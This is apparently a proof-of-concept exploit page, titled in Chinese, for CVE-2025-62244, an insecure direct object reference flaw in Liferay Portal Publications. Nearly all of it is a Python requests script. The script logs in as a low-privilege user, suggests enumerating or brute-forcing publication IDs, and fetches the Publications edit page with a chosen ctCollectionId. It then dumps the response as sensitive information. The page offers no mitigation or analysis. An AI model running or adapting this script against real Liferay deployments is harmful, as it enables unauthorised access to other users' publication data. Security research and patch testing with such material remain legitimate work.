CVE-2025-62244 Liferay Portal Publications IDOR漏洞

# CVE-2025-62244 PoC - Liferay Portal Publications IDOR # This PoC demonstrates how an authenticated low-privilege user can # access the edit page of publications they should not have access to # by manipulating the ctCollectionId parameter. import requests # Target Liferay Portal/DXP instance TARGET_URL = "https://target-liferay-instance.com" # Authenticated session (attacker needs a valid low-privilege account) session = requests.Session() # Step 1: Authenticate to the Liferay portal login_url = f"{TARGET_URL}/c/portal/login" login_data = { "_com_liferay_login_web_portlet_LoginPortlet_cmd": "authenticate", "_com_liferay_login_web_portlet_LoginPortlet_redirect": "/web/guest/home", "_com_liferay_login_web_portlet_LoginPortlet_emailAddress": "[email protected]", "_com_liferay_login_web_portlet_LoginPortlet_password": "password123" } session.post(login_url, data=login_data) # Step 2: Enumerate target publication IDs (ctCollectionId values) # These are typically sequential integers - brute force or guess valid IDs target_ct_collection_id = 1 # Target publication ID to access # Step 3: Exploit the IDOR vulnerability by accessing the Publications edit page # with the manipulated ctCollectionId parameter exploit_url = ( f"{TARGET_URL}/group/control_panel/manage" f"?p_p_id=com_liferay_change_tracking_web_portlet_PublicationsPortlet" f"&p_p_lifecycle=0" f"&p_p_state=maximized" f"&_com_liferay_change_tracking_web_portlet_PublicationsPortlet_mvcRenderCommandName=%2Fchange_tracking%2Fview_publication" f"&_com_liferay_change_tracking_web_portlet_PublicationsPortlet_ctCollectionId={target_ct_collection_id}" ) response = session.get(exploit_url) # Step 4: Check if the exploit was successful if response.status_code == 200 and "Publication" in response.text: print(f"[+] IDOR exploit successful! Accessed publication ID: {target_ct_collection_id}") # Extract sensitive publication information from the response print(response.text[:2000]) else: print(f"[-] Exploit failed. Status code: {response.status_code}") # Alternative: Direct URL-based exploitation # Simply navigate to the URL with the target ctCollectionId parameter # while authenticated as any user with portal access.